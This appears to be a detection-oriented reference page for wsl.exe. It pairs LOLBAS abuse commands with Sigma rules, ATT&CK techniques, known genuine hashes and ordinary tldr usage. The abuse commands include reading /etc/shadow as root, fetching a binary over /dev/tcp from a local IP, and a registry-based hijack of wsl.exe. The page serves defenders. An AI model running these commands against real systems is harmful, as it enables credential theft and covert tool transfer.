Identifier / Programs / Windows
wsl.exe
Manage the Windows Subsystem for Linux. tldr-pages
LOLBAS Execute, Download 12 Sigma rules name it 5 ATT&CK techniques 5 documented commands 3 known copies with hashes
How wsl.exe is abused
Execute T1202 Indirect Command Execution
-eEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for wsl.exe.
5 documented commands
Execute T1202 Indirect Command Execution User privileges
Executes calc.exe from wsl.exe
wsl.exe -e /mnt/c/Windows/System32/calc.exeTrips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)
Execute T1202 Indirect Command Execution User privileges
Cats /etc/shadow file as root
wsl.exe -u root -e cat /etc/shadowTrips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)
Execute T1202 Indirect Command Execution User privileges
Executes Linux command (for example via bash) as the default user (unless stated otherwise using -u <username>) on the default WSL distro (unless stated otherwise using -d <distro name>)
wsl.exe --exec bash -c "{CMD}"Trips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)
Download T1105 Ingress Tool Transfer User privileges
Downloads file from 192.168.1.10
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'Trips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)
Execute T1218 System Binary Proxy Execution User privileges
When executed, wsl.exe queries the registry value of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation, which contains a folder path (c:\program files\wsl by default). If the value points to another folder containing a file named wsl.exe, it will be executed instead of the legitimate wsl.exe in the program files folder.
wsl.exeTrips no Sigma process-creation rule.
4 of the 5 commands the identifier reads trip a Sigma process-creation rule; 1 trips none. These commands and their descriptions are from LOLBAS’s entry for wsl.exe, by Matthew Brown, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for wsl.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real wsl.exe?
C:\Windows\system32\3 known copies
10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\wsl.exe · signed by Microsoft Windows
6d9d361265c9fb27d66e1b823076e631ecc0c88ee0bf4bbef4b5ed1df82bea3810.0.19041.1151 (WinBuild.160101.0800) · C:\Windows\system32\wsl.exe · signed by Microsoft Windows
9fbb5b45c7e911d37e88f6eda4d5d237f20f651235667eadaaa097b08eb8cc4810.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\wsl.exe · signed by Microsoft Windows
acbcb4d41833b98660908027fe0033a705e6d647fc3ca3a08b6fbb449f6664c0From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Everyday use
Start a Linux shell (in the default distribution)
wsl shell_commandIdentifyRun a Linux command without using a shell
wsl --exec command command_argumentsIdentifyTrips 1 Sigma rule: mediumArbitrary Command Execution Using WSL by oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)
Specify a particular distribution
wsl --distribution distribution shell_commandIdentifyOf the 3 examples the identifier reads, 1 matches LOLBAS abuse or trips a Sigma process-creation rule.